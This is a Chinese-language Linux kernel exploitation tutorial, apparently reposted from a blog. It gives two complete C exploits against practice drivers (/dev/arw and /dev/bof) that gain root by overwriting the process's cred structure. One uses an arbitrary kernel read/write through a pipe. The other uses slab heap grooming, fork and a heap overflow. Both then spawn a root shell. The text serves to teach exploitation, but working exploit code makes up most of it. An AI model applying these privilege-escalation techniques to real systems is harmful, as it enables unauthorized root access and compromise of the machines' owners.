如果是對內核數據進行寫操作, dest 為 內核地址, src 為 用戶態地址

修改 task_struct->real_cred

我們現在已經有了thread_info 的地址,而且可以對內核進行任意讀寫,於是通過 修改 task_struct->real_credtask_struct->cred 進行提權。

  • 首先通過 thread_info 的地址,拿到 task_struct 的地址 ( thread_info->task)
  • 通過 task_struct->real_credtask_struct->cred相對於 task_struct 的偏移,拿到 它們的地址.
  • 修改 task_struct->real_cred 中從開始 一直 到 fsuid 字段(大小為 0x1c) 為 0.
  • 修改 task_struct->cred = task_struct->real_cred
  • 執行 system("sh"), 獲取 root 權限的 shell

gdb中獲取 real_cred 的偏移

p &((struct task_struct*)0)->real_cred

完整 exp

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
    size_t len;
    char* buf;
    char* addr;
};

int pipefd[2];

int kmemcpy(void *dest, void *src, size_t size)
{
    write(pipefd[1], src, size);
    read(pipefd[0], dest, size);
    return size;
}

int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/arw", O_RDWR);
    if (fd == -1) {
        printf("open hello device failed!\n");
        return -1;
    }

    struct param p;
    ioctl(fd, 5, &p);
    printf("got thread_info: %p\n", p.addr);
    char * info = p.addr;
    int ret_val = pipe(pipefd);
    if (ret_val < 0) {
        printf("pipe failed: %d\n", ret_val);
        exit(1);
    }

    kmemcpy(buf, info, 16);
    void* task_addr = (void *)(*(long *)buf);
    //p &((struct task_struct*)0)->real_cred
    // 0x5a8
    kmemcpy(buf, task_addr+0x5a8, 16);
    char* real_cred = (void *)(*(long *)buf);
    printf("task_addr: %p\n", task_addr);
    printf("real_cred: %p\n", real_cred);
    char* cred_ids = malloc(0x1c);
    memset(cred_ids, 0, 0x1c);
    // 修改 real_cred 
    kmemcpy(real_cred, cred_ids, 0x1c);
    // 修改 task->cred = real_cred
    kmemcpy(real_cred+8, &real_cred, 8);
    system("sh");

    return 0;
}


運行測試

image.png

gidgroups沒有為 0, 貌似是 qemu 的 特點導致的?因為它們后面的字段能被成功設置為 0

參考

LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる

利用 set_fs

在內核中 set_fs 是一個用於設置 thread_info->addr_limit 的 宏,利用這個,再加上一些條件,可以直接修改 thread_info->addr_limit , 具體可以看 Android PXN繞過技術研究

修改 cred提權

本節使用 heap_bof 中的代碼作為示例。

漏洞請看 Rop-By-Heap-Vulnerability 小結。

介紹

在內核中用 task_struct 表示一個進程的屬性, 在創建一個進程的時候同時會分配 cred 結構體用於標識進程的權限。

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */

提權到 root 除了調用 commit_creds(prepare_kernel_cred(0)) 外,我們還可以通過 修改 cred 結構體中 *id 的字段 為0 ,其實就是把 cred 結構體從開始一直到 fsuid 的所有字段全部設置為0, 這樣也可以實現 提權到 root 的目的。

堆溢出為例

本節就實踐一下,前面利用這個驅動的 uaf 漏洞,這節就利用堆溢出

要利用堆溢出就要搞清楚內核真正分配給我們的內存大小,這里 cred 結構體大小為 0xa8 (編譯一個內核 gdb查看之), 由於向上對齊的特性內核應該會分配 0xc0 大小的內存塊給我們,測試一下(具體代碼可以看最終 exp)。

   // 讓驅動分配 10 個 0xa8  的內存塊
    for (int i = 0; i < 80; ++i)
    {
        p.idx = 1;
        ioctl(fds[0], 5, &p);  // malloc
    }
    printf("clear heap done\n");

    // 讓驅動分配 10 個 0xa8  的內存塊
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }

首先分配 800xa8 大小內存塊,用於清理內存碎片,這樣就可以使后續的內存分配,可以分配到連續的內存空間。

image.png

可以看到清理內存碎片后的分配,是連續的每次分配都是相距 0xc0 ,說明內核實際分配的內存大小就是 0xc0. 這 和 slub 機制描述的一致(分配的 size 向上對齊)

於是利用思路就是

  • 首先分配 800xa8 (實際是 0xc0) 的內存塊 對內存碎片進行清理。
  • 讓驅動調用幾次 kmalloc(0xa8, GFP_KERNEL ),這會讓內核分配 幾個 0xc0 的內存塊。
  • 釋放中間的一個,然后調用 fork 會分配 cred 結構體,這個結構體會落入剛剛釋放的那個內存塊。
  • 這時溢出該內存塊的前一個內存塊,就可以溢出到 cred 結構體,然后把 一些字段設置為 0,就可以提權了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct param
{
    size_t len;    // 內容長度
    char* buf;     // 用戶態緩沖區地址
    unsigned long idx; // 表示 ptr 數組的 索引
};
int main(void)
{
    int fds[10];
    int ptmx_fds[0x100];
    char buf[8];
    int fd;
    for (int i = 0; i < 10; ++i)
    {
        fd = open("/dev/bof", O_RDWR);
        if (fd == -1) {
            printf("open bof device failed!\n");
            return -1;
        }
        fds[i] = fd;
    }
    struct param p;
    p.len = 0xa8;
    p.buf = malloc(p.len);
    // 讓驅動分配 10 個 0xa8  的內存塊
    for (int i = 0; i < 80; ++i)
    {
        p.idx = 1;
        ioctl(fds[0], 5, &p);  // malloc
    }
    printf("clear heap done\n");
    // 讓驅動分配 10 個 0xa8  的內存塊
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }
    p.idx = 5;
    ioctl(fds[5], 7, &p); // free
    int now_uid;
    // 調用 fork 分配一個 cred結構體
    int pid = fork();
    if (pid < 0) {
        perror("fork error");
        return 0;
    }
    // 此時 ptr[4] 和 cred相鄰
    // 溢出 修改 cred 實現提權
    p.idx = 4;
    p.len = 0xc0 + 0x30;
    memset(p.buf, 0, p.len);
    ioctl(fds[4], 8, &p);    
    if (!pid) {
        //一直到egid及其之前的都變為了0,這個時候就已經會被認為是root了
        now_uid = getuid();
        printf("uid: %x\n", now_uid);
        if (!now_uid) {
            // printf("get root done\n");
            // 權限修改完畢,啟動一個shell,就是root的shell了
            system("/bin/sh");
        } else {
            // puts("failed?");

        }
    } else {
        wait(0);
    }
    getchar();
    return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM